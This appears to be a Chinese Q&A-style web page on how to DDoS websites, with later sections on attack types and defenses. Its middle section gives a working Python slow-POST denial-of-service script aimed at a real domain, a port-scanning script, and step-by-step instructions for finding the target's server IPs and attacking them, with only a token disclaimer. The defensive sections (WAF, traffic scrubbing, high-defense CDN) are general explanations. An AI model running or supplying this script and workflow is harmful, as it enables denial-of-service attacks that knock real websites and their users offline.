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如何ddos攻击网站(怎样ddos攻击)

本文导读目录:

ddos是怎么攻击网站的?遇到ddos攻击怎么办?

就是很多台电脑同时访问你 但是不是正常的访问 遇到就用单方处理

如何进行DDOS攻击怎么做

会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可

代码:

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)

PAGE="/index.php"

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

  global socks

  for i in range(0,MAX_CONN):

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      try:

          s.connect((HOST,PORT))

          s.send(buf.encode())

          print ("Send buf OK!,conn=%d\n"%i)

          socks.append(s)

      except Exception as ex:

          print ("Could not connect to server or send error:%s"%ex)

          time.sleep(10)

#end def

def send_thread():

  global socks

  while True:

      for s in socks:

          try:

              s.send("f".encode())

              #print "send OK!"

          except Exception as ex:

              print ("Send Exception:%s\n"%ex)

              socks.remove(s)

              s.close()

      time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。

所以,最好用Windows里的PING进行检测

操作:

在Windows搜索栏里输入:cmd

输入:

ping -n 10 -l 1 baidu.com

//这里拿百度做示范,别真打百度!

那么,就会发现,系统反映了:

正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

39.156.69.79 的 Ping 统计信息:

  数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

  最短 = 26ms,最长 = 29ms,平均 = 27ms

说明,百度的服务器有一个主服务器是39.156.69.79

那么,就来查找百度的所有服务器吧!

输入以下代码:

#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否

#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴

#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度

import socket

import sys

import multiprocessing

import time as t

def ports(ports_serve):

  #获取常用端口对应的服务名称

  for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

      try:

          ports_serve[port]=socket.getservbyport(port)

      except socket.error:

          pass

def ports_scan(host,ports_service):

  ports_open=[]

  try:

      sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      #超时时间的不同会影响扫描结果的精确度

      socket.timeout(0.01)

  except socket.error:

      print('socket creation error')

      sys.exit()

  for port in ports_service:

      try:

          #尝试连接指定端口

          sock.connect((host,port))

          #记录打开的端口

          ports_open.append(port)

          sock.close()

      except socket.error:

          pass

  return ports_open

if __name__ == '__main__':

  m=multiprocessing.Manager()

  ports_service=dict()

  results=dict()

  ports(ports_service)

  #创建进程池,允许最多8个进程同时运行

  pool = multiprocessing.Pool(processes=8)

  net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击

  for host_number in map(str,range(8,10)):

      host = net + host_number

      #创建一个新进程,同时记录其运行结果

      results[host] = pool.apply_async(ports_scan,(host,ports_service))

      print('starting '+host+'...')

  #关闭进程池,close()必须在join()之前调用

  pool.close()

  #等待进程池中的进程全部执行结束

  pool.join()

  #打印输出结果

  for host in results:

      print('='*30)

      print(host,'.'*10)

      for port in results[host].get():

          print(port,':',ports_service[port])

       

你会发现,Python反映了:

starting 39.156.69.8...

starting 39.156.69.9...

//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!

接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!

DDOS攻击方式有哪些?

ddos攻击主要有以下3种方式。

大流量攻击

大流量攻击通过海量流量使得网络的带宽和基础设施达到饱和,将其消耗殆尽,从而实现淹没网络的目的。一旦流量超过网络的容量,或网络与互联网其他部分的连接能力,网络将无法访问。大流量攻击实例包括ICMP、碎片和UDP洪水。

TCP状态耗尽攻击

TCP状态耗尽攻击试图消耗许多基础设施组件(例如负载均衡器、防火墙和应用服务器本身)中存在的连接状态表。例如,防火墙必须分析每个数据包来确定数据包是离散连接,现有连接的存续,还是现有连接的完结。同样,入侵防御系统必须跟踪状态以实施基于签名的数据包检测和有状态的协议分析。这些设备和其他有状态的设备—包括负责均衡器—被会话洪水或连接攻击频繁攻陷。例如,Sockstress攻击可通过打开套接字来填充连接表以便快速淹没防火墙的状态表。

应用层攻击

应用层攻击使用更加尖端的机制来实现黑客的目标。应用层攻击并非使用流量或会话来淹没网络,它针对特定的应用/服务缓慢地耗尽应用层上的资源。应用层攻击在低流量速率下十分有效,从协议角度看,攻击中涉及的流量可能是合法的。这使得应用层攻击比其他类型的DDoS攻击更加难以检测。HTTP洪水、DNS词典、Slowloris等都是应用层攻击的实例。

ddos是怎么攻击的?要怎么去防御?

在严格的技术术语中,分布式拒绝服务(DDoS)是指你的竞争对手试图通过大量无效流量请求堵塞您的香港服务器访问通道,进而导致你的网站崩溃。对于小企业网站来说,有一些简单的解决方案可以保护您的网站,而不需要花费任何费用。首先通过部署Web应用程序防火墙(WAF)来缓解大规模DDoS攻击。Web应用程序防火墙检查接近您站点的所有流量,并应用一组过滤器和规则来拒绝恶意流量,包括恶意软件,僵尸程序,XSS(跨站点脚本),SQL注入等,可以保护您的网站免受僵尸网络流量激增和其他恶意内容的侵害。

如何防御ddos攻击和cc攻击?

DDOS攻击防御方法

1、过滤不必要的服务和端口:可以使用Inexpress、Express、Forwarding等工具来过滤不必要的服务和端口,即在路由器上过滤假ip。

2、异常流量的清洗过滤:通过DDOS硬件防火墙对异常流量的清洗过滤,通过数据包的规则过滤、数据流指纹检测过滤及数据包内容定制过滤等顶尖技术能准确判断外来访问流量是否正常,进一步将异常流量禁止过滤。

3、分布式集群防御:这是目前网络安全界防御大规模DDOS攻击最有效的方法。分布式集群防御的特点是在每个节点服务器配置多个ip地址,并且每个节点能承受不低于10G的DDOS攻击。

4、高防智能DNS解析:高智能DNS解析系统与DDOS防御系统的完美结合,为企业提供对抗新兴安全威胁的超级检测功能。它颠覆了传统一个域名对应一个镜像的做法,只能根据用户的上网路线将DNS解析请求解析到用户所属网络的服务器。同时智能DNS解析系统还有宕机检测功能,随时可将瘫痪的服务器ip智能更换成正常服务器ip,为企业的网络保持一个永不宕机的服务状态。

CC攻击防御方法

1、选择可靠的高防服务器,提升服务器硬件和网络带宽资源:高性能服务器硬件能力和充足的网络带宽资源可以提升系统对CC攻击的承载能力。

2、网站页面静态化:可以较大程度的减少系统资源消耗,从而达到提高抗系统抗攻击能力。

3、IP屏蔽限制:辨别攻击者的源ip,针对CC攻击的源ip,可以在IIS中设置屏蔽该IP,限制其访问,达到防范IIS攻击的目的。

4、部署高防CDN:接入高防CDN,隐蔽服务器源ip,自动识别攻击流量,清洗后将正常访客流量回源到源服务器ip上,保障业务安全。

5、关闭不需要的端口和服务。

怎么用DDOS攻击网站和IP啊

IP

不过扫

IP

有点复杂

可以用DOS

命令弄到对方IP

攻击后果:

网络中断

无法连接本地服务器

攻击原理:向攻击目标

发送大量的

垃圾数据

导致

网络宽带资源消耗

也会导致

网络丢失大量

正确的

数据

对攻击目标造成

网速卡

导致被攻击目标造成系统

瘫痪

如果不懂

我可以教你

  • 评论列表:
  •  俗野沐白
     发布于 2022-06-25 08:32:58  回复该评论
  • 本文导读目录:1、ddos是怎么攻击网站的?遇到ddos攻击怎么办?2、如何进行DDOS攻击怎么做3、DDOS攻击方式有哪些?4、ddos是怎么攻击的?要怎么去防御?5、如何防御ddos攻击和cc攻击?6、怎么用DDOS攻击网站和IP啊ddos是怎么攻击网站的?遇到ddos攻击怎么办?
  •  森槿纵遇
     发布于 2022-06-25 06:26:58  回复该评论
  • 防火墙(WAF)来缓解大规模DDoS攻击。Web应用程序防火墙检查接近您站点的所有流量,并应用一组过滤器和规则来拒绝恶意流量,包括恶意软件,僵尸程序,XSS(跨站点脚本),SQL注入等,可以保护

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